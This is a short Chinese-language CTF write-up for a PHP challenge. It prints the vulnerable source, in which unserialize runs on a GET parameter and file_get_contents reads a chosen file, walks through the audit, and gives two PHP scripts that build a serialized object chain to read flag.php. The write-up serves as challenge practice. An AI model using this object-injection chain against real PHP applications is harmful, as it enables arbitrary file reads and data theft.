1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } }
class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } }
class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } }
if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
|
return file_get_contents($file);
代码审计可以发现唯一能利用的是这个函数
然后只能通过acp类触发
acp只能通过题目给的echo $logData;
来触发
- 第一个问题就是cinder是受保护的属性,所以不能直接在类外修改
那么只能通过__construct()
来进行修改
- 第二个问题是要进入循环则需要强比较neutron和nova,这里有两个可行的方法
1.给docker赋值成一个序列化的字符串
2.别管docker,它就本身就是一个null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } } class ace { public $filename='flag.php'; public $openstack; public $docker; } $a=new acp(); echo serialize($a); ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } } class ace { public $filename='flag.php'; public $openstack; public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}'; } $a=new acp(); echo serialize($a); ?>
|
然后在得到的页面检查源代码发现flag在另一个文件夹里
继续改变参数读取就行